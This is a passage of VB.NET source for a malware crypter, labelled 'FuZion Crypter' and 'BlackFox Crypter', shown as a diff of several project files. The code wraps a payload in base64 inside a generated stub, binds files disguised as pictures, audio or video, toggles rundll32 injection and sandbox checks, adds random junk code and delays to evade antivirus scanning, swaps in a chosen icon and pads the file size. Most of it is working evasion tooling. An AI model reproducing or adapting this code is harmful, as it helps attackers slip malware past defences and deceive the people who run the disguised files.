sursa = sursa.Replace("bind2", Compactdisk.mortzi(bindinput)) 'Format the input bytes and place them in the temp source
|
||||
If ComboBox1.SelectedItem = ("Pictures") Then
|
||||
sursa = sursa.Replace("%temp%.exe", TextBox4.Text & ".jpg")
|
||||
End If
|
||||
If ComboBox1.SelectedItem = ("Audio") Then
|
||||
sursa = sursa.Replace("%temp%.exe", TextBox4.Text & ".mp3")
|
||||
End If
|
||||
If ComboBox1.SelectedItem = ("Video") Then
|
||||
sursa = sursa.Replace("%temp%.exe", TextBox4.Text & ".avi")
|
||||
End If
|
||||
Else
|
||||
sursa = sursa.Replace("blablabla", "bind2")
|
||||
End If
|
||||
|
||||
sursa = sursa.Replace("am reusit", stealth.Text)
|
||||
If Checkbox1.CheckedState = True Then
|
||||
sursa = sursa.Replace("GDGDF54545", "hhhhhhhhhheeeee")
|
||||
sursa = sursa.Replace("#false#", "false")
|
||||
sursa = sursa.Replace("#rundll32 .exe#", "rundll32 .exe")
|
||||
sursa = sursa.Replace("#rundll32 #", "rundll32 ")
|
||||
End If
|
||||
If Checkbox8.CheckedState = True Then
|
||||
sursa = sursa.Replace("#false#", "false")
|
||||
sursa = sursa.Replace("#rundll32 .exe#", "something.exe")
|
||||
sursa = sursa.Replace("#rundll32 #", "something")
|
||||
sursa = sursa.Replace("GDGDF54545", "hhhhhhhhhheeeee")
|
||||
End If
|
||||
If Checkbox1.CheckedState And Checkbox8.CheckedState = True Then
|
||||
sursa = sursa.Replace("#false#", "false")
|
||||
sursa = sursa.Replace("#rundll32 .exe#", "something.exe")
|
||||
sursa = sursa.Replace("#rundll32 #", "something")
|
||||
sursa = sursa.Replace("GDGDF54545", "hhhhhhhhhheeeee")
|
||||
Else
|
||||
sursa = sursa.Replace("#false#", "false")
|
||||
sursa = sursa.Replace("#rundll32 .exe#", "something.exe")
|
||||
sursa = sursa.Replace("#rundll32 #", "something")
|
||||
End If
|
||||
|
||||
If Checkbox4.CheckedState = True Then
|
||||
|
||||
|
||||
|
||||
Else
|
||||
|
||||
|
||||
sursa = sursa.Replace("sandboxierpcss", "nothong")
|
||||
|
||||
|
||||
End If
|
||||
|
||||
If chkJunk.CheckedState = True Then
|
||||
Dim Junk1 As String
|
||||
Dim Junk2 As String
|
||||
Dim Junk3 As String
|
||||
|
||||
Junk1 = GenerateJunk(RandomNumber(2, 1))
|
||||
Junk2 = GenerateJunk(RandomNumber(3, 1))
|
||||
Junk3 = GenerateJunk(RandomNumber(3, 1))
|
||||
sursa = sursa.Replace("%101%", Junk1)
|
||||
sursa = sursa.Replace("%102%", Junk2)
|
||||
sursa = sursa.Replace("%103%", Junk3)
|
||||
|
||||
Else
|
||||
sursa = sursa.Replace("%101%", "")
|
||||
sursa = sursa.Replace("%102%", "")
|
||||
sursa = sursa.Replace("%103%", "")
|
||||
End If
|
||||
If Checkbox7.CheckedState = True Then
|
||||
sursa = sursa.Replace("%200%", "Threading.Thread.Sleep(10000)")
|
||||
Else
|
||||
sursa = sursa.Replace("%200%", " ")
|
||||
End If
|
||||
If Checkbox7.CheckedState = True Then
|
||||
sursa = sursa.Replace("%200%", "Threading.Thread.Sleep(10000)")
|
||||
sursa = sursa.Replace("10000", Textbox5.Text * 1000)
|
||||
Else
|
||||
sursa = sursa.Replace("%200%", " ")
|
||||
End If
|
||||
If Checkbox9.CheckedState = True Then
|
||||
sursa = sursa.Replace("%28%", "hhhhhhhhhheeeee")
|
||||
End If
|
||||
|
||||
dwqeEQE3Q2.edasr232222dF(dialog2.FileName, sursa, "")
|
||||
|
||||
|
||||
|
||||
|
||||
If TextBox2.Text = vbNullString Then
|
||||
MsgBox("Your File Is Crypted Without an Icon", MsgBoxStyle.Information, "BlackFox Crypter")
|
||||
Else
|
||||
IconChanger.InjectIcon(dialog2.FileName, TextBox2.Text)
|
||||
MsgBox("Your File Is Crypted", MsgBoxStyle.Information, "BlackFox Crypter")
|
||||
End If
|
||||
If Checkbox3.CheckedState Then
|
||||
On Error Resume Next
|
||||
|
||||
Dim sizeaia As Double = Val(NumericUpDown2.Value)
|
||||
IO.File.Copy(TextBox1.Text, dialog2.FileName)
|
||||
If RadioButton1.Checked Then
|
||||
sizeaia = sizeaia * 1025
|
||||
End If
|
||||
If RadioButton2.Checked Then
|
||||
sizeaia = sizeaia * 1048575
|
||||
End If
|
||||
Dim pompeaza = IO.File.OpenWrite(dialog2.FileName)
|
||||
Dim marishor = pompeaza.Seek(0, IO.SeekOrigin.[End])
|
||||
While marishor < sizeaia
|
||||
pompeaza.WriteByte(0)
|
||||
marishor += 1
|
||||
End While
|
||||
pompeaza.Close()
|
||||
End If
|
||||
' Dim file1 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
|
||||
' If My.Computer.FileSystem.FileExists(dialog2.FileName) Then
|
||||
' My.Computer.FileSystem.DeleteFile(dialog2.FileName)
|
||||
' End If
|
||||
' IO.File.Copy(Application.StartupPath & "\ady.exe", dialog2.FileName)
|
||||
' IO.File.AppendAllText(dialog2.FileName, ady & Convert.ToBase64String(file1))
|
||||
|
||||
End Sub
|
||||
Public Function GenMask(ByVal StringMask As String) As String
|
||||
On Error Resume Next
|
||||
Dim OutputString As String
|
||||
Dim random As New Random()
|
||||
Dim key_lowercase As String = "abcdefghijklmnopqrstuvwxyz"
|
||||
Dim key_uppercase As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
OutputString = ""
|
||||
|
||||
For i = 0 To StringMask.Length - 1
|
||||
|
||||
If StringMask.Substring(i, 1) = "#" Then
|
||||
OutputString = OutputString & random.Next(0, 9)
|
||||
ElseIf StringMask.Substring(i, 1) = "@" Then
|
||||
OutputString = OutputString & key_lowercase.Substring(random.Next(0, key_lowercase.Length), 1)
|
||||
ElseIf StringMask.Substring(i, 1) = "$" Then
|
||||
OutputString = OutputString & key_uppercase.Substring(random.Next(0, key_uppercase.Length), 1)
|
||||
ElseIf StringMask.Substring(i, 1) = "%" Then
|
||||
Dim random2 As String = random.Next(1, 4)
|
||||
If random2 <= 1 Then
|
||||
OutputString = OutputString & key_uppercase.Substring(random.Next(0, key_uppercase.Length), 1)
|
||||
ElseIf random2 = 2 Then
|
||||
OutputString = OutputString & key_lowercase.Substring(random.Next(0, key_lowercase.Length), 1)
|
||||
ElseIf random2 >= 3 Then
|
||||
OutputString = OutputString & random.Next(0, 9)
|
||||
End If
|
||||
Else
|
||||
OutputString = OutputString & StringMask.Substring(i, 1)
|
||||
End If
|
||||
Next
|
||||
|
||||
Return OutputString.ToString
|
||||
End Function
|
||||
|
||||
Private Sub FlowButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlowButton1.Click
|
||||
Me.Close()
|
||||
End Sub
|
||||
|
||||
Private Sub FlowButton2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlowButton2.Click
|
||||
Me.WindowState = FormWindowState.Minimized
|
||||
End Sub
|
||||
|
||||
Private Sub FlowTheme1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlowTheme1.Click
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub RadioButton4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton4.CheckedChanged
|
||||
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub FlowCheckbox4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub BtnTest_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnTest.Click
|
||||
MessageBox.Show(TxtBody.Text, TxtMTitle1.Text, MessageBoxButtons.OK)
|
||||
End Sub
|
||||
|
||||
Private Sub FlowCheckbox6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlowCheckbox6.Click
|
||||
If Label1.Text = "Activated" Then Label1.Text = "De-Activated" Else Label1.Text = "Activated"
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub FlowCheckbox9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub FlowCheckbox13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub FlowCheckbox11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub FlowCheckbox12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub TabPage6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TabPage6.Click
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub TextBox10_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Copyright.TextChanged
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub FlowButton4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlowButton4.Click
|
||||
TextBox6.Text = GenMask("@%$%$#$$@%@@##$#%$@@%##%$@%%$#%##$%$")
|
||||
End Sub
|
||||
|
||||
Private Sub BtnClone_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnClone.Click
|
||||
|
||||
End Sub
|
||||
End Class
|
||||
Public Class Compactdisk
|
||||
Public Shared Function mortzi(ByVal bas As Byte()) As String ' Codedom has maximum of possible chars per line so we are storing the string in multiple strings
|
||||
Dim piula As New System.Text.StringBuilder ' Declaring a new StringBuilder to store the piulaput string
|
||||
Dim miros As String = Convert.ToBase64String(bas) ' Get a readable String from the Byte Array
|
||||
Dim arr As String() = beleste(miros, 50000) ' Split the string into parts to fit in the Codedom-lines
|
||||
For M As Integer = 0 To arr.Length - 1 ' Looping thought each string in the array
|
||||
If M = arr.Length - 1 Then ' If i equals the highest number
|
||||
piula.Append(Chr(34) & arr(M) & Chr(34))
|
||||
Else 'I is smaller than arr.Length - 1 (i < arr.Length - 1)
|
||||
piula.Append(Chr(34) & arr(M) & Chr(34) & " & _" & vbNewLine)
|
||||
End If
|
||||
Next
|
||||
Return piula.ToString
|
||||
End Function
|
||||
Private Shared Function beleste(ByVal bas As String, ByVal sadsa As Long) As String()
|
||||
Dim carnatzel As Long = Math.Ceiling(bas.Length / sadsa)
|
||||
Dim piula(carnatzel - 1) As String
|
||||
Dim MAMAIE As Long = 0
|
||||
For C As Integer = 0 To carnatzel - 1
|
||||
If C = carnatzel - 1 Then
|
||||
Dim femp((bas.Length - MAMAIE) - 1) As Char
|
||||
bas.CopyTo(MAMAIE, femp, 0, (bas.Length - MAMAIE))
|
||||
piula(C) = Convert.ToString(femp)
|
||||
Else
|
||||
Dim femp(sadsa - 1) As Char
|
||||
bas.CopyTo(MAMAIE, femp, 0, sadsa)
|
||||
piula(C) = Convert.ToString(femp)
|
||||
MAMAIE += sadsa
|
||||
End If
|
||||
Next
|
||||
Return piula
|
||||
End Function
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
End Class
|
||||
@@ -0,0 +1,164 @@
|
||||
Module JunkCoder
|
||||
Function RandomNumber(ByVal MaxNumber As Integer, _
|
||||
Optional ByVal MinNumber As Integer = 0) As Integer
|
||||
Dim r As New Random(System.DateTime.Now.Millisecond)
|
||||
If MinNumber > MaxNumber Then
|
||||
Dim t As Integer = MinNumber
|
||||
MinNumber = MaxNumber
|
||||
MaxNumber = t
|
||||
End If
|
||||
|
||||
Return r.Next(MinNumber, MaxNumber)
|
||||
End Function
|
||||
|
||||
Function GenerateJunk(ByVal Ammount As Integer) As String
|
||||
|
||||
If Ammount = 0 Then
|
||||
Ammount = 1
|
||||
End If
|
||||
|
||||
Dim out As String = "Module " & s(20)
|
||||
Dim y As Integer = 0
|
||||
|
||||
Do Until y = Ammount
|
||||
|
||||
Rnd()
|
||||
Dim a As Integer = n(3, 1)
|
||||
|
||||
Dim e As String = s(60)
|
||||
If a = 1 Then
|
||||
out += vbNewLine & vbNewLine & "Public Function " & s(124) & "(" & s(16) & " as string)as string" & vbNewLine
|
||||
|
||||
out += "on error goto " & e & vbNewLine
|
||||
Else
|
||||
out += vbNewLine & "Public Sub " & s(n(50, 8)) & "(" & s(49) & " as string)" & vbNewLine
|
||||
End If
|
||||
|
||||
Dim i As Integer = 0
|
||||
|
||||
Dim limit As Integer = n(30, 10)
|
||||
|
||||
Do Until i = limit
|
||||
Rnd()
|
||||
Dim type As Integer = n(5, 0)
|
||||
|
||||
|
||||
If type = 1 Then
|
||||
out += "Dim " & s(26) & " as string = " & Chr(34) & s(n(35, 76)) & Chr(34) & vbNewLine
|
||||
i += 1
|
||||
ElseIf type = 2 Then
|
||||
out += "msgbox(" & Chr(34) & s(n(100, 276)) & Chr(34) & ")" & vbNewLine
|
||||
i += 1
|
||||
ElseIf type = 3 Then
|
||||
Rnd()
|
||||
out += "Dim " & s(56) & " as integer = " & n(999999, 100000) & vbNewLine
|
||||
i += 1
|
||||
Else
|
||||
out += "dim " & s(n(10, 60)) & " as integer = " & n(100000, 9999999) & " + " & n(214124, 1243145) & " + " & n(214124, 1243145) & " + " & n(214124, 1243145) & vbNewLine
|
||||
End If
|
||||
|
||||
Loop
|
||||
If a = 1 Then
|
||||
out += e & ":" & vbNewLine
|
||||
|
||||
Dim h As Integer = 0
|
||||
Dim hl As Integer = n(10, 3)
|
||||
Do Until h = hl
|
||||
|
||||
Dim type As Integer = n(4, 0)
|
||||
|
||||
|
||||
If type = 1 Then
|
||||
out += "Dim " & s(26) & " as string = " & Chr(34) & s(n(35, 76)) & Chr(34) & vbNewLine
|
||||
i += 1
|
||||
ElseIf type > 1 Then
|
||||
out += "msgbox(" & Chr(34) & s(n(100, 276)) & Chr(34) & ")" & vbNewLine
|
||||
i += 1
|
||||
out += "If " & n(100000, 9999999) & " > " & n(214124, 1243145) & " then" & vbNewLine
|
||||
|
||||
out += "Dim " & s(26) & " as string = " & Chr(34) & s(n(35, 76)) & Chr(34) & vbNewLine
|
||||
out += "Dim " & s(26) & " as string = " & Chr(34) & s(n(35, 76)) & Chr(34) & vbNewLine
|
||||
out += "Dim " & s(26) & " as string = " & Chr(34) & s(n(35, 76)) & Chr(34) & vbNewLine
|
||||
out += "End if" & vbNewLine
|
||||
|
||||
Else
|
||||
Rnd()
|
||||
out += "Dim " & s(56) & " as integer = " & n(999999, 100000) & vbNewLine
|
||||
i += 1
|
||||
End If
|
||||
h += 1
|
||||
Loop
|
||||
out += vbNewLine
|
||||
|
||||
out += "End Function" & vbNewLine & vbNewLine
|
||||
|
||||
Else
|
||||
out += "End Sub" & vbNewLine & vbNewLine
|
||||
End If
|
||||
y += 1
|
||||
Loop
|
||||
out += "End Module"
|
||||
|
||||
Return out
|
||||
End Function
|
||||
|
||||
Function s(ByVal len As String) As String
|
||||
Dim x As New Password
|
||||
Return x.GeneratePassword(True, True, False, False, len)
|
||||
End Function
|
||||
|
||||
Public Function n(ByVal MaxNumber As Integer, _
|
||||
Optional ByVal MinNumber As Integer = 0) As Integer
|
||||
Rnd()
|
||||
Threading.Thread.Sleep(5)
|
||||
'initialize random number generator
|
||||
Dim r As New Random(System.DateTime.Now.Millisecond)
|
||||
|
||||
If MinNumber > MaxNumber Then
|
||||
Dim t As Integer = MinNumber
|
||||
MinNumber = MaxNumber
|
||||
MaxNumber = t
|
||||
End If
|
||||
|
||||
Return r.Next(MinNumber, MaxNumber)
|
||||
|
||||
End Function
|
||||
|
||||
Public Class Password
|
||||
|
||||
Private Const PASS_UPPERS As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
Private Const PASS_LOWERS As String = "abcdefghijklmnopqrstuvwxyz"
|
||||
Private Const PASS_NUMBERS As String = "0123456789"
|
||||
Private Const PASS_SPECIALS As String = "~`!@#$%^&*()_+=-{[}]|;:'<,>.?"
|
||||
|
||||
Public Function GeneratePassword(ByVal Uppers As Boolean, ByVal Lowers As Boolean, ByVal Numbers As Boolean, ByVal Specials As Boolean, ByVal passwordLength As Integer) As String
|
||||
|
||||
Dim strCharacters As String
|
||||
Dim strNewPassword As String
|
||||
Dim p As Integer
|
||||
|
||||
If Uppers = True Then
|
||||
strCharacters = strCharacters & PASS_UPPERS
|
||||
End If
|
||||
If Lowers = True Then
|
||||
strCharacters = strCharacters & PASS_LOWERS
|
||||
End If
|
||||
If Numbers = True Then
|
||||
strCharacters = strCharacters & PASS_NUMBERS
|
||||
End If
|
||||
If Specials = True Then
|
||||
strCharacters = strCharacters & PASS_SPECIALS
|
||||
End If
|
||||
|
||||
Randomize()
|
||||
|
||||
For p = 0 To (passwordLength - 1)
|
||||
strNewPassword = strNewPassword + Mid(strCharacters, Len(strCharacters) * Rnd() + 1, 1)
|
||||
Next
|
||||
|
||||
GeneratePassword = strNewPassword
|
||||
|
||||
End Function
|
||||
|
||||
End Class
|
||||
End Module
|
||||
@@ -0,0 +1,152 @@
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
Option Infer On
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.Security
|
||||
|
||||
Public Class IconChanger
|
||||
<SuppressUnmanagedCodeSecurity()> _
|
||||
Private Class NativeMethods
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function BeginUpdateResource( _
|
||||
ByVal fileName As String, _
|
||||
<MarshalAs(UnmanagedType.Bool)> ByVal deleteExistingResources As Boolean) As IntPtr
|
||||
End Function
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function UpdateResource( _
|
||||
ByVal hUpdate As IntPtr, _
|
||||
ByVal type As IntPtr, _
|
||||
ByVal name As IntPtr, _
|
||||
ByVal language As Short, _
|
||||
<MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=5)> _
|
||||
ByVal data() As Byte, _
|
||||
ByVal dataSize As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
|
||||
End Function
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function EndUpdateResource( _
|
||||
ByVal hUpdate As IntPtr, _
|
||||
<MarshalAs(UnmanagedType.Bool)> ByVal discard As Boolean) As <MarshalAs(UnmanagedType.Bool)> Boolean
|
||||
End Function
|
||||
End Class
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure ICONDIR
|
||||
Public Reserved As UShort
|
||||
Public Type As UShort
|
||||
Public Count As UShort
|
||||
End Structure
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure ICONDIRENTRY
|
||||
Public Width As Byte
|
||||
Public Height As Byte
|
||||
Public ColorCount As Byte
|
||||
Public Reserved As Byte
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public BytesInRes As Integer
|
||||
Public ImageOffset As Integer
|
||||
End Structure
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure BITMAPINFOHEADER
|
||||
Public Size As UInteger
|
||||
Public Width As Integer
|
||||
Public Height As Integer
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public Compression As UInteger
|
||||
Public SizeImage As UInteger
|
||||
Public XPelsPerMeter As Integer
|
||||
Public YPelsPerMeter As Integer
|
||||
Public ClrUsed As UInteger
|
||||
Public ClrImportant As UInteger
|
||||
End Structure
|
||||
<StructLayout(LayoutKind.Sequential, Pack:=2)> _
|
||||
Private Structure GRPICONDIRENTRY
|
||||
Public Width As Byte
|
||||
Public Height As Byte
|
||||
Public ColorCount As Byte
|
||||
Public Reserved As Byte
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public BytesInRes As Integer
|
||||
Public ID As UShort
|
||||
End Structure
|
||||
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String)
|
||||
InjectIcon(exeFileName, iconFileName, 1, 1)
|
||||
End Sub
|
||||
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger)
|
||||
Const RT_ICON As UInteger = 3UI
|
||||
Const RT_GROUP_ICON As UInteger = 14UI
|
||||
Dim iconFile As IconFile = iconFile.FromFile(iconFileName)
|
||||
Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False)
|
||||
Dim data = iconFile.CreateIconGroupData(iconBaseID)
|
||||
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length)
|
||||
For i = 0 To iconFile.ImageCount - 1
|
||||
Dim image = iconFile.ImageData(i)
|
||||
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length)
|
||||
Next
|
||||
NativeMethods.EndUpdateResource(hUpdate, False)
|
||||
End Sub
|
||||
Private Class IconFile
|
||||
Private iconDir As New ICONDIR
|
||||
Private iconEntry() As ICONDIRENTRY
|
||||
Private iconImage()() As Byte
|
||||
Public ReadOnly Property ImageCount() As Integer
|
||||
Get
|
||||
Return iconDir.Count
|
||||
End Get
|
||||
End Property
|
||||
Public ReadOnly Property ImageData(ByVal index As Integer) As Byte()
|
||||
Get
|
||||
Return iconImage(index)
|
||||
End Get
|
||||
End Property
|
||||
Private Sub New()
|
||||
End Sub
|
||||
Public Shared Function FromFile(ByVal filename As String) As IconFile
|
||||
Dim instance As New IconFile
|
||||
Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename)
|
||||
Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned)
|
||||
instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR)
|
||||
instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {}
|
||||
instance.iconImage = New Byte(instance.iconDir.Count - 1)() {}
|
||||
Dim offset = Marshal.SizeOf(instance.iconDir)
|
||||
Dim iconDirEntryType = GetType(ICONDIRENTRY)
|
||||
Dim size = Marshal.SizeOf(iconDirEntryType)
|
||||
For i = 0 To instance.iconDir.Count - 1
|
||||
Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY)
|
||||
instance.iconEntry(i) = entry
|
||||
instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {}
|
||||
Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes)
|
||||
offset += size
|
||||
Next
|
||||
pinnedBytes.Free()
|
||||
Return instance
|
||||
End Function
|
||||
Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte()
|
||||
Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount
|
||||
Dim data(sizeOfIconGroupData - 1) As Byte
|
||||
Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned)
|
||||
Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False)
|
||||
Dim offset = Marshal.SizeOf(iconDir)
|
||||
For i = 0 To ImageCount - 1
|
||||
Dim grpEntry As New GRPICONDIRENTRY
|
||||
Dim bitmapheader As New BITMAPINFOHEADER
|
||||
Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned)
|
||||
Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER)))
|
||||
pinnedBitmapInfoHeader.Free()
|
||||
grpEntry.Width = iconEntry(i).Width
|
||||
grpEntry.Height = iconEntry(i).Height
|
||||
grpEntry.ColorCount = iconEntry(i).ColorCount
|
||||
grpEntry.Reserved = iconEntry(i).Reserved
|
||||
grpEntry.Planes = bitmapheader.Planes
|
||||
grpEntry.BitCount = bitmapheader.BitCount
|
||||
grpEntry.BytesInRes = iconEntry(i).BytesInRes
|
||||
grpEntry.ID = CType(iconBaseID + i, UShort)
|
||||
Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False)
|
||||
offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY))
|
||||
Next
|
||||
pinnedData.Free()
|
||||
Return data
|
||||
End Function
|
||||
End Class
|
||||
End Class
|
||||
@@ -0,0 +1,38 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' Ce code a été généré par un outil.
|
||||
' Version du runtime :4.0.30319.239
|
||||
'
|
||||
' Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si
|
||||
' le code est régénéré.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
'REMARQUE : ce fichier étant généré automatiquement, ne le modifiez pas directement. Pour apporter des modifications,
|
||||
' ou si vous rencontrez des erreurs de build dans ce fichier, accédez au Concepteur de projets
|
||||
' (allez dans les propriétés du projet ou double-cliquez sur le noeud My project dans
|
||||
' l'Explorateur de solutions), puis apportez vos modifications sous l'onglet Application.
|
||||
'
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Public Sub New()
|
||||
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
|
||||
Me.IsSingleInstance = false
|
||||
Me.EnableVisualStyles = true
|
||||
Me.SaveMySettingsOnExit = true
|
||||
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
|
||||
End Sub
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Protected Overrides Sub OnCreateMainForm()
|
||||
Me.MainForm = Global.Crypt_Flow.Form1
|
||||
End Sub
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>true</MySubMain>
|
||||
<MainForm>Form1</MainForm>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<ApplicationType>0</ApplicationType>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,35 @@
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("FuZion Crypter")>
|
||||
<Assembly: AssemblyDescription("Crypter")>
|
||||
<Assembly: AssemblyCompany("FuZion")>
|
||||
<Assembly: AssemblyProduct("FuZion Crypter")>
|
||||
<Assembly: AssemblyCopyright("Copyright © FuZion 2011")>
|
||||
<Assembly: AssemblyTrademark("")>
|
||||
|
||||
<Assembly: ComVisible(False)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("95117e61-6f5a-47e7-ae48-99ccfb8c2fee")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
' You can specify all the values or you can default the Build and Revision Numbers
|
||||
' by using the '*' as shown below:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("1.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("1.0.0.0")>
|
||||
@@ -0,0 +1,100 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' Ce code a été généré par un outil.
|
||||
' Version du runtime :4.0.30319.239
|
||||
'
|
||||
' Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si
|
||||
' le code est régénéré.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder
|
||||
'à l'aide d'un outil, tel que ResGen ou Visual Studio.
|
||||
'Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen
|
||||
'avec l'option /str ou régénérez votre projet VS.
|
||||
'''<summary>
|
||||
''' Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Retourne l'instance ResourceManager mise en cache utilisée par cette classe.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
